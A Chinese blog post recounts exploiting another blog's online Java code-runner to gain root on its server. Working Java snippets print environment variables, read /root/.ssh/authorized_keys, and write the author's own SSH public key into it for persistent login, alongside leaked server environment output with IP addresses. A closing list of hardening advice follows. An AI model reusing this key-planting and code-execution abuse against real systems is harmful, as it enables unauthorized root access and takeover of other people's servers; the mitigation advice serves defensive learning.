最近在逛博客时,无意中发现有个博客有一个可以在线执行Java代码的功能,这无疑可能是个非常大的安全隐患(最后再说为啥是可能)
1. 试探性查看环境和权限
/**
* Description:
* @author www.nonelonely.com
* @version 1.0
*/
public class CommentTest
{
/*
这里面的内容全部是多行注释
Java语言真的很有趣,
*/
public static void main(String[] args)
{
//这是一行简单的注释
//System.out.println("Hello World!");
System.out.println(System.getenv());
//System.out.println("这行代码被注释了,将不会被编译、执行!");
}
}
通过执行System.getenv()
获取的环境变量信息如下
{PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin, HISTCONTROL=ignoredups, LESSOPEN=||/usr/bin/lesspipe.sh %s, SHELL=/bin/bash, HISTSIZE=10000, SSH_TTY=/dev/pts/0, SSH_CLIENT=58.23.17.114 50147 22, TERM=xterm, USER=root, LANG=en_US.UTF-8, XDG_SESSION_ID=1917, SSH_CONNECTION=58.23.17.114 50147 192.168.0.141 22, MAIL=/var/spool/mail/root, HOSTNAME=hecs-x-large-2-linux-20201109135719, LOGNAME=root, XDG_RUNTIME_DIR=/run/user/0, PWD=/usr/local/src, LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.axa=01;36:*.oga=01;36:*.spx=01;36:*.xspf=01;36:, HISTTIMEFORMAT=%F %T root , SHLVL=2, HOME=/root, _=/usr/bin/nohup}
划重点: 从path
、ssh_connection
等可以看出当前服务器为linux服务器,从HOSTNAME
更可以看出该服务器应该是2020年11月9日才刚刚开始创建。。。怪不得到现在还没发现这个安全隐患,也应该感谢网站的曝光度不是很高吧,或没太多的人发现这个可以在线执行Java的功能。。。
从user
、logname
可以看出当前用户还是root,那么就更好进行下一步操作了!
pwd
为/usr/local/src
应该是当前程序执行的路径
ssh_connection
中还发现了22
端口,那么接下来剩下知道服务器IP和密码信息了
获取登入密钥
- 先看看服务器有没有公钥信息
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* Description:
* @author www.nonelonely.com
* @version 1.0
*/
public class CommentTest
{
/*
这里面的内容全部是多行注释
Java语言真的很有趣,
*/
public static void main(String[] args) throws Exception
{
//这是一行简单的注释
//System.out.println("Hello World!");
System.out.println(Files.readAllLines(Paths.get("/root/.ssh/authorized_keys")));
//System.out.println("这行代码被注释了,将不会被编译、执行!");
}
}
看了之后,发现当前服务器用户并没有用密钥登陆的习惯,那么也进一步说明如果有人用密钥方式登入其服务器,其将更难发现有了陌生人的钥匙,即使如何修改root密码,拿着密钥的人均可以进入
- 本地生成密钥对
3. 将公钥信息写入到authorized_keys
文件中
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
/**
* Description:
* @author www.nonelonely.com
* @version 1.0
*/
public class CommentTest
{
/*
这里面的内容全部是多行注释
Java语言真的很有趣,
*/
public static void main(String[] args) throws Exception
{
//这是一行简单的注释
//System.out.println("Hello World!");
Path path = Paths.get("/root/.ssh/authorized_keys");
String str = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfTNciCUsphb1ZUtSXvdLP8KN2jB3c9hZArcYkPwGmY3sGMd7cjJSh/f9aUXP4hPHs3P9L/AAFpbSj7w2m5vd+3cYOfymKh3jcmklafNI9mWmqUVQR3IH6bVZ/ccCH9iW4Oa1/1Frqp7oVUNvCQX/7M5gYUGTCH96JPJe9CypjSjRhUblqaIuuaTnqceseU7A8s9ol9hhApcxrp8ZotG7zTwp4IOtrG4l5TtFQJ3XmGJUBsCbTdRGbW4pilGdMQqr9JSH765EMy1JS54dLv6GsvDRuPHJXEZnE7hA1C+hohjRxv1pCmfMPMVZiW3DaX2MeplHySbBsoidY2j5RPGQd root@icell-test";
Files.write(path, Arrays.asList(str));
System.out.println(Files.readAllLines(path));
//System.out.println("这行代码被注释了,将不会被编译、执行!");
}
}
到此处已经将钥匙配好了,该找到了门,进行开门了
获得IP
- Ping一下域名
ping 域名 得到服务器ip(这里域名在没用cdn的情况下才行) - 看下ssh端口是否可以连接
登门拜访
至此已完全拿到root权限,想干啥干啥了(这可是违法的,不能乱来哦)
截止当前时间(2021-01-30 00:26),该网站博主终于把该安全隐患做了一定处理,特此将文章对外开放
如何避免本次安全问题
- 尽量不要直接用root用户执行有风险的web程序
- 可以使用docker镜像来执行程序,来进一步规避程序直接读取系统信息以及向系统写入信息
- 对可执行的代码进行白名单过滤,只允许执行哪一类的代码(不是很好把控建议采用提议1)
- 不要使用常用服务的默认端口(22、3306、6379、21、27017等)
- 使用ip白名单,不允许任意ip远程连接服务器(但凡是重要系统都是不允许直接接入公网的,即使接入了,也只有指定ip可以接入服务器)
- 关注云服务报警,一般非常用ip登入服务器,云服务提供商会有短信和邮件预警,一旦收到这些通知,一定要尽快处理(建议使用腾讯的企业邮箱或qq邮箱,这样微信或qq可以及时进行邮件提醒,可将所有的其他邮箱的邮件都设置转发到你的qq邮箱中,这样就无需登录每个邮箱,及时收取到任何邮箱的邮件信息了)
/root/.ssh/authorized_keys
文件只设置只读权限,不允许有写入权限,想添加公钥信息,先手动添加写权限,添加后移除写权限- 在服务器中加入
/root/.ssh/authorized_keys
文件监控(crontab + mail),检测到有修改就立即邮件通知
Q.E.D.